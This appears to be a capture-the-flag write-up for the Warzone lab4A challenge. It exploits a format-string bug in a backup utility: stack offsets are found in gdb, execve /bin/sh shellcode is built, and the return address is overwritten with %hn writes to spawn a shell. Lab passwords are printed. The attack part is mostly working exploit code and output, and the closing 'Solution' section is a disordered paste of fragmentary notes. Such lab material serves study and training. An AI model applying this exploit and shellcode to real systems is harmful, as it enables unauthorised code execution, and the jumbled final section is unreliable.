Lab4A Write-up (Hard)
Finally, the last level of the format strings challenges. First, log into the Lab04 as lab4A (lab4A:fg3ts_d0e5n7_m4k3_y0u_1nv1nc1bl3
) and go to the challenges folder:
$ ssh lab4A@<VM_IP>
$ cd /levels/lab04/
Let’s execute the program:
lab4A@warzone:/levels/lab04$ ./lab4A
Usage: ./lab4A filename
ERROR: Failed to open ./backups/.log
Hum, we will need to check the code to know how this program works.
Source Code Analysis
Let’s analyze the source code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#define BACKUP_DIR "./backups/"
#define LOG_FILE "./backups/.log"
void log_wrapper(FILE *logf, char *msg, char *filename)
{
char log_buf[255];
strcpy(log_buf, msg);
snprintf(log_buf+strlen(log_buf), 255-strlen(log_buf)-1/*NULL*/, filename);
log_buf[strcspn(log_buf, "\n")] = '\0';
fprintf(logf, "LOG: %s\n", log_buf);
}
int main(int argc, char *argv[])
{
char ch = EOF;
char dest_buf[100];
FILE *source, *logf;
int target = -1;
if (argc != 2) {
printf("Usage: %s filename\n", argv[0]);
}
// Open log file
logf = fopen(LOG_FILE, "w");
if (logf == NULL) {
printf("ERROR: Failed to open %s\n", LOG_FILE);
exit(EXIT_FAILURE);
}
log_wrapper(logf, "Starting back up: ", argv[1]);
// Open source
source = fopen(argv[1], "r");
if (source == NULL) {
printf("ERROR: Failed to open %s\n", argv[1]);
exit(EXIT_FAILURE);
}
// Open dest
strcpy(dest_buf, BACKUP_DIR);
strncat(dest_buf, argv[1], 100-strlen(dest_buf)-1/*NULL*/);
target = open(dest_buf, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR);
if (target < 0) {
printf("ERROR: Failed to open %s%s\n", BACKUP_DIR, argv[1]);
exit(EXIT_FAILURE);
}
// Copy data
while( ( ch = fgetc(source) ) != EOF)
write(target, &ch, 1);
log_wrapper(logf, "Finished back up ", argv[1]);
// Clean up
fclose(source);
close(target);
return EXIT_SUCCESS;
}.
The code seems to be a bit complicated but it is not! First, these line are interesting:
#define BACKUP_DIR "./backups/"
#define LOG_FILE "./backups/.log"
While we cannot create file or folder in /levels/lab04, given BACKUP_DIR
and LOG_FILE
are relative path, we should be able to do something from the /tmp folder.
lab4A@warzone:/levels/lab04$ cd /tmp/
lab4A@warzone:/tmp$ mkdir backups
lab4A@warzone:/tmp$ /levels/lab04/lab4A test
ERROR: Failed to open test
lab4A@warzone:/tmp$ cat backups/.log
LOG: Starting back up: test
We do have something in the .log file, but we still have an error. Why? Well check this code:
logf = fopen(LOG_FILE, "w");
if (logf == NULL) {
printf("ERROR: Failed to open %s\n", LOG_FILE);
exit(EXIT_FAILURE);
}
log_wrapper(logf, "Starting back up: ", argv[1]);
Here, the fopen()
function call will be sucessful given we do have a ./backups folder now. Then, the log_wrapper() function is called and will write LOG: Starting back up: test in the .log file.
void log_wrapper(FILE *logf, char *msg, char *filename)
{
char log_buf[255];
strcpy(log_buf, msg);
snprintf(log_buf+strlen(log_buf), 255-strlen(log_buf)-1/*NULL*/, filename);
log_buf[strcspn(log_buf, "\n")] = '\0';
fprintf(logf, "LOG: %s\n", log_buf);
}
However, the test file does not exists so, we have an error. But if you take a closer look to the log_wrapper()
function, there is an issue:
snprintf(log_buf+strlen(log_buf), 255-strlen(log_buf)-1, filename);
Check the snprintf prototype:
int snprintf ( char * s, size_t n, const char * format, ... );
Here, the filename is our argument which we control! It means that if we specify a filename containing format specifiers, we should be able to get control of the stack!
lab4A@warzone:/tmp$ /levels/lab04/lab4A test.%8x.%8x.%8x.%8x.%8x
ERROR: Failed to open test.%8x.%8x.%8x.%8x.%8x
lab4A@warzone:/tmp$ cat backups/.log
LOG: Starting back up: test.b7e9eb73.b7e9548c.bffff822. 8048cda. 804b008
Okay, we are almost ready to start our dynamic analysis gdb
, there is one last thing important here:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : FULL
RELRO (Relocation Read-Only) is enabled and protects the Global Offset Table (GOT) in ELF binaries from being overwritten. It means that we won’t be able to rewrite any address in this section (unlike the previous level).
Dynamic Analysis
Like in the previous level, we need to find where our argument is located on the stack. Remember that we need this information to be able to specify the memory locations we want to write into. So, if we specify an address as argument, we need to tell our format specifier (%<argnum>$n
) where is this address on the stack; is it the first one? the second one? etc.
lab4A@warzone:/tmp$ /levels/lab04/lab4A AAAABBBBCCCC.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x
ERROR: Failed to open AAAABBBBCCCC.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x
lab4A@warzone:/tmp$ cat backups/.log
LOG: Starting back up: AAAABBBBCCCC.b7e9eb73.b7e9548c.bffff7ee. 8048cda. 804b008. 0. 0.b7e24994.617453c8.6e697472.61622067.75206b63.41203a70.42414141.43424242.2e434343
As you can see, we have the 0x41 values in the 13th and 14th elements. Given we need to align our values, we just need to prepend 1 byte to our payload.
Note As you may know, the $ (dollar sing) in bash is used for variable substitution, you will need to escape it with a backslash(\) in your payload to avoid any issue.
lab4A@warzone:/tmp$ /levels/lab04/lab4A DAAAABBBBCCCC.%14\$p.%15\$p.%16\$p
ERROR: Failed to open DAAAABBBBCCCC.%14$p.%15$p.%16$p
lab4A@warzone:/tmp$ cat backups/.log
LOG: Starting back up: DAAAABBBBCCCC.0x41414141.0x42424242.0x43434343
Nice, so our arguments will start at the 14th element. What’s next? Well, given the vulnerability happens in the log_wrapper() function we could do somthing like this:
- Find the return address to main() from log_wrapper()
- Overwrite this return address with the begining of our NOP-sled
Finding the return address to main() is easy, we just need to set a breakpoint on the ret
instruction at the end of the log_wrapper() function.
gdb-peda$ break *log_wrapper+226
Breakpoint 1 at 0x80489df
gdb-peda$ run `python -c 'print 8 * "A" + 50 * "\x90"'`
Starting program: /levels/lab04/lab4A `python -c 'print 8 * "A" + 50 * "\x90"'`
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x0
EDX: 0x804b0a0 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff688 --> 0x0
ESP: 0xbffff5ec --> 0x8048a8b (<main+171>: mov eax,DWORD PTR [esp+0xc])
EIP: 0x80489df (<log_wrapper+226>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80489d7 <log_wrapper+218>: add esp,0x134
0x80489dd <log_wrapper+224>: pop ebx
0x80489de <log_wrapper+225>: pop ebp
=> 0x80489df <log_wrapper+226>: ret
0x80489e0 <main>: push ebp
0x80489e1 <main+1>: mov ebp,esp
0x80489e3 <main+3>: and esp,0xfffffff0
0x80489e6 <main+6>: sub esp,0x90
[------------------------------------stack-------------------------------------]
0000| 0xbffff5ec --> 0x8048a8b (<main+171>: mov eax,DWORD PTR [esp+0xc])
0004| 0xbffff5f0 --> 0x804b008 --> 0xfbad2c84
0008| 0xbffff5f4 --> 0x8048cda ("Starting back up: ")
0012| 0xbffff5f8 --> 0xbffff86a ("AAAAAAAA", '\220' <repeats 50 times>)
0016| 0xbffff5fc --> 0xbffff724 --> 0xbffff856 ("/levels/lab04/lab4A")
0020| 0xbffff600 --> 0x3
0024| 0xbffff604 --> 0x9 ('\t')
0028| 0xbffff608 --> 0xffc0003f
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080489df in log_wrapper ()
The ESP register equals to 0xbffff5ec
which point to the main() function (0x08048a8b
). Now, concerning the address of our buffer, as it will be passed as an argument to snprinf(), we can set another breakpoint in log_wrapper() and check the stack.
gdb-peda$ break *log_wrapper+134
Breakpoint 2 at 0x8048983
gdb-peda$ run `python -c 'print 8 * "A" + 50 * "\x90"'`
Starting program: /levels/lab04/lab4A `python -c 'print 8 * "A" + 50 * "\x90"'`
[----------------------------------registers-----------------------------------]
EAX: 0xbffff86a ("AAAAAAAA", '\220' <repeats 50 times>)
EBX: 0xec
ECX: 0x1d
EDX: 0xbffff4ef --> 0x4b00800
ESI: 0x0
EDI: 0x0
EBP: 0xbffff5e8 --> 0xbffff688 --> 0x0
ESP: 0xbffff4b0 --> 0xbffff4ef --> 0x4b00800
EIP: 0x8048983 (<log_wrapper+134>: call 0x80487c0 <snprintf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048978 <log_wrapper+123>: mov DWORD PTR [esp+0x8],eax
0x804897c <log_wrapper+127>: mov DWORD PTR [esp+0x4],ebx
0x8048980 <log_wrapper+131>: mov DWORD PTR [esp],edx
=> 0x8048983 <log_wrapper+134>: call 0x80487c0 <snprintf@plt>
0x8048988 <log_wrapper+139>: mov DWORD PTR [esp+0x4],0x8048c90
0x8048990 <log_wrapper+147>: lea eax,[ebp-0x10b]
0x8048996 <log_wrapper+153>: mov DWORD PTR [esp],eax
0x8048999 <log_wrapper+156>: call 0x8048700 <strcspn@plt>
Guessed arguments:
arg[0]: 0xbffff4ef --> 0x4b00800
arg[1]: 0xec
arg[2]: 0xbffff86a ("AAAAAAAA", '\220' <repeats 50 times>)
[------------------------------------stack-------------------------------------]
0000| 0xbffff4b0 --> 0xbffff4ef --> 0x4b00800
0004| 0xbffff4b4 --> 0xec
0008| 0xbffff4b8 --> 0xbffff86a ("AAAAAAAA", '\220' <repeats 50 times>)
0012| 0xbffff4bc --> 0xb7e9eb73 (<__GI_strstr+19>: add ebx,0x12e48d)
0016| 0xbffff4c0 --> 0xb7e9548c (<malloc_init_state+12>: add ebx,0x137b74)
0020| 0xbffff4c4 --> 0xbffff86a ("AAAAAAAA", '\220' <repeats 50 times>)
0024| 0xbffff4c8 --> 0x8048cda ("Starting back up: ")
0028| 0xbffff4cc --> 0x804b008 --> 0xfbad2484
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x08048983 in log_wrapper ()
Our buffer will be stored at 0xbffff4ef
. Well, we have everything we need to exploit this vulnerability:
- The return address
0xbffff5ec
- Our buffer address
0xbffff4ef
Let’s switch to the shellcode.
Shellcode
For the shellcode, we will reuse the following one as it is quite short (23 bytes):
global _start
_start:
xor eax, eax ; EAX = 0
push eax ; push our null byte on the stack to end the string
; push "/bin//sh" in reverse order
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
; execve("/bin//sh/", 0, 0);
mov ebx, esp ; EBX = ptr to "/bin//sh"
mov ecx, eax ; ECX = 0
mov edx, eax ; EDX = 0
mov al, 0xb ; sys_execve()
int 0x80
Note The Warzone VM doesn’t have NASM installed, so I did the development on another Linux VM.
$ nano shellcode.asm
$ nasm -f elf32 shellcode.asm
Then, we can check the code and generate the shellcode.
$ objdump -M intel -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx,esp
f: 89 c1 mov ecx,eax
11: 89 c2 mov edx,eax
13: b0 0b mov al,0xb
15: cd 80 int 0x80
We get the following result:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80
Now, we have two choices, either we put the shellcode before the address rewrite (which means we will need to modify our argument selector) or after (which means we need to modify the buffer address).
Let’s build a quick proof of concept to guestimate where our shellcode would be in memory.
[return address of main() on the stack][magic sauce to rewrite the ret_address][NOP + Shellcode]
Solution
b *log_wrapper+134 b *main+166
r < <(python -c “print ‘AAAA’”)
exploit = “AAAA”
fd = open(“/tmp/exploit2”, ‘w’) fd.write(exploit) fd.close()
“\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80”
RA = 0xbffff5bc 0xbffff520 z = 132 0xbfff - size 0xf520 - 0xbfff - size - 6
run $(perl -e ‘print “A” . “\xbc\xf5\xff\xbf” . “\xbe\xf5\xff\xbf” . “\x90”x100 . “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80” . “%62622x” . “%14$hn” . “%51935x” . “%15$hn”’)
0xbffff688 lab4A@warzone:/levels/lab04$ gdb /tmp/find Reading symbols from /tmp/find…(no debugging symbols found)…done. gdb-peda$ run Starting program: /tmp/find 0xbffff6e8
run $(perl -e ‘print “A” . “\xac\xf6\xff\xbf” . “\xae\xf6\xff\xbf” . “\x90”x100 . “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80” . “%63678x” . “%14$hn” . “%50879x” . “%15$hn”’)
0x08048a86 <+166>: call 0x80488fd
0xbffff6ac: 0x08048a8b
0xbffff940
perl -e 'print "A" . "\xac\xf6\xff\xbf" . "\xae\xf6\xff\xbf" . "\x90"x100 . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "%63678x" . "%14\$hn" . "%50879x" . "%15\$hn"' > exploit
lab4A@warzone:/tmp$ fixenv /levels/lab04/lab4A `cat exploit`
$ whoami
lab4end
$ cat /home/lab4A/.pass
cat: /home/lab4A/.pass: Permission denied
$ cat /home/lab4end/.pass
1t_w4s_ju5t_4_w4rn1ng
$